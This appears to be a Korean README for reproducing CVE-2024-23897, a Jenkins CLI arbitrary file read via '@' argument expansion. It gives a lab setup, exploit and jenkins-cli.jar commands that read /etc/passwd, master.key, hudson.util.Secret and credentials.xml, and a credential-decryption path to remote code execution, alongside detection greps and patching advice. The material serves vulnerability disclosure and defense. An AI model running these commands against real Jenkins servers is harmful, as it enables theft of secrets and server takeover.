
cve-2024-23897-jenkins_lfi_reproduction의 재현
CVSS 9.8 (CRITICAL) — 현재 야생에서 활발히 악용 중
CVE-2024-23897은 Jenkins 명령줄 인터페이스(CLI)의 치명적인 임의 파일 읽기 취약점입니다. Jenkins CLI는 명령 인자 파싱을 위해 args4j 라이브러리를 사용합니다. 이 라이브러리는 파일 경로가 뒤따르는 @ 문자(@/path/to/file)를 해당 파일의 내용을 읽어 인자로 주입하는 방식으로 확장합니다. 인증되지 않은 공격자는 이 동작을 악용하여 Jenkins 컨트롤러 파일시스템의 임의 파일을 인증 없이 읽을 수 있습니다.
이 취약점은 credentials.xml, secrets 또는 master.key 추출과 결합되면 완전한 서버 장악(RCE)으로 이어질 수 있습니다.
@ 문자 확장args4j 라이브러리(Jenkins CLI 명령 파서에서 사용)는 편의 기능을 구현합니다. 인자가 @로 시작하면 인자의 나머지 부분을 파일 경로로 취급하여 파일 내용을 읽고 여러 인자로 분할합니다. 이는 파일을 통해 많은 인자 목록을 전달하기 위한 의도였습니다.
예시: java -jar jenkins-cli.jar who-am-i @/etc/passwd는 args4j가 /etc/passwd를 읽고 그 내용을 who-am-i 명령의 인자로 사용하게 합니다.
특정 CLI 명령(예: connect-node)은 오류 메시지/응답에 인자 값을 다시 에코하거나 포함하므로, 공격자는 CLI 응답에서 파일 내용을 확인할 수 있습니다.
@/etc/passwd와 같은 인자가 포함된 CLI 명령을 전송합니다.| 제품 | 영향받는 버전 | 수정 버전 |
|---|---|---|
| Jenkins (weekly) | ≤ 2.441 | 2.442 |
| Jenkins LTS | ≤ 2.426.2 | 2.426.3 |
| Jenkins LTS (이전) | ≤ 2.414.2 | 2.414.3 |
참고: 위에 나열된 수정 버전 이전의 모든 Jenkins 버전은 취약합니다. CLI 기능은 오랫동안 Jenkins에 존재해 왔으므로, 명시적으로 나열되지 않은 이전 버전도 영향을 받습니다.
Docker로 취약한 Jenkins 인스턴스를 실행합니다:
docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk11
컨테이너 로그에서 초기 관리자 비밀번호를 확인하세요.
CLI 포트가 열려 있는지 확인합니다:
# Jenkins CLI port (TCP 50000) should be listening
# Or you can use the HTTP CLI endpoint at /cli/
Python 3.8+ 설치 및 필요한 의존성:
pip install requests
# Basic file read test — read /etc/passwd
python exploit.py --target http://localhost:8080 --file /etc/passwd
# Read Jenkins secrets (escalation path)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml
# Download the Jenkins CLI jar
wget http://localhost:8080/jnlpJars/jenkins-cli.jar
# Read /etc/passwd via the CLI
java -jar jenkins-cli.jar -s http://localhost:8080 who-am-i @/etc/passwd 2>&1
# Read Jenkins secrets
java -jar jenkins-cli.jar -s http://localhost:8080 connect-node @/var/jenkins_home/secrets/master.key 2>&1
파일 내용이 CLI 응답 또는 오류 출력에 나타납니다. 예를 들어 /etc/passwd를 읽으면 시스템의 패스워드 파일 항목이 반환됩니다.
# Read config to understand the environment
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/config.xml
# Read users and permissions
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/users/users.xml
# Extract master key (used to encrypt credentials)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
# Extract the hudson.util.Secret key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/hudson.util.Secret
# Extract credentials (encrypted)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml
master.key와 hudson.util.Secret이 있으면 jenkins_decrypt.py 또는 CVE-2024-23897 참고 자료의 decrypt.py 스크립트 같은 도구를 사용하여 Jenkins 자격 증명을 복호화할 수 있습니다. 복호화된 자격 증명(SSH 키, API 토큰, 클라우드 제공자 키)은 연결된 노드와 클라우드 환경에서 원격 코드 실행을 달성하는 데 사용될 수 있습니다.
접근 로그 또는 CLI 감사 로그에서 @ 뒤에 파일 경로가 오는 인자를 검색합니다:
# grep for suspicious CLI access
grep -r "@/" /var/log/jenkins/access.log
# Check for CLI connections from unexpected IPs
grep "CLI" /var/log/jenkins/jenkins.log | grep -v "127.0.0.1"
즉시 패치가 불가능한 경우 --webroot 옵션을 설정하거나 포트 50000을 차단하여 CLI 포트를 비활성화하세요. 그러나 웹 UI 내의 HTTP CLI 엔드포인트(/cli/)는 여전히 악용될 수 있으므로 패치를 강력히 권장합니다.
이 저장소는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 이 취약점을 무단으로 악용하는 것은 불법입니다. 저자는 이 정보의 오용에 대해 책임을 지지 않습니다. 소유한 시스템이나 명시적인 서면 허가를 받은 시스템에서만 테스트하십시오.
| 조치 | 세부 사항 |
|---|
| Jenkins 업데이트 | Jenkins 2.442+ 또는 LTS 2.426.3+ / 2.414.3+로 업그레이드 |
| CLI 포트 비활성화 | 필요하지 않으면 방화벽에서 TCP 포트 50000 차단 |
| 네트워크 접근 제한 | Jenkins CLI 포트에 대한 접근을 신뢰할 수 있는 네트워크로만 제한 |
| 인증 활성화 | Jenkins가 모든 접근에 인증을 요구하도록 설정 |
| 로그 모니터링 | 접근 로그에서 @ 인자가 포함된 CLI 명령을 확인 |